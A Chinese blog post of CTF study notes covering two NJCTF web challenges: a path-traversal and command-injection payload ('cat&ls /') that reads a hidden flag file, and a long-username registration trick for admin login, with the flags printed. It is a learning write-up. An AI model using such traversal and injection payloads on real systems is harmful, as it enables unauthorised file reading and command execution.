fantasyqt

NJCTF学习笔记

其实在NJCTF中我,一直在划水从未被超越Orz.好吧其实是我太菜了做不来。

#Get Flag!

首先可以发现一个任意文件读取的漏洞

http://218.2.197.235:23725/hehe
post:flag=../../../../../../../../&submit=

返回一段base64编码。

<img src="data:image/png;base64,Y2F0OiBpbWFnZXMvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vOiBJcyBhIGRpcmVjdG9yeQ=="/>





接着测试可以发现使用cat命令可以返回找不到文件报错

<img src="data:image/png;base64,Y2F0OiBpbWFnZXMvY2F0OiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5CmNhdDogLi4vOiBJcyBhIGRpcmVjdG9yeQ=="/>





使用“||”发现被过滤,使用“&”可以绕过过滤,所以使用

cat&ls /

可以在根目录发现 /9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag

poc:flag=cat ../../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag&submit=

单独使用cat命令读取文件,解码返回的base64可以得到flag。




NJCTF{Simp13_Pyth0n_C0de_Inj3cti0n_a77ack}

#Login


随手注册一个帐号发现不是管理员不能获得flag,一开始我猜测是垂直越权漏洞,一直没找到方法。接着比赛中使用别人注册用的弱口令获得flag。。。。




之后在查看发布的writerup中发现原来是超长用户名注册的漏洞,通过注册一个admin 123


最后使用admin登录,可以得到flag:




NJCTF{4R3_Y0u_7H3_Re41_aDM1N?}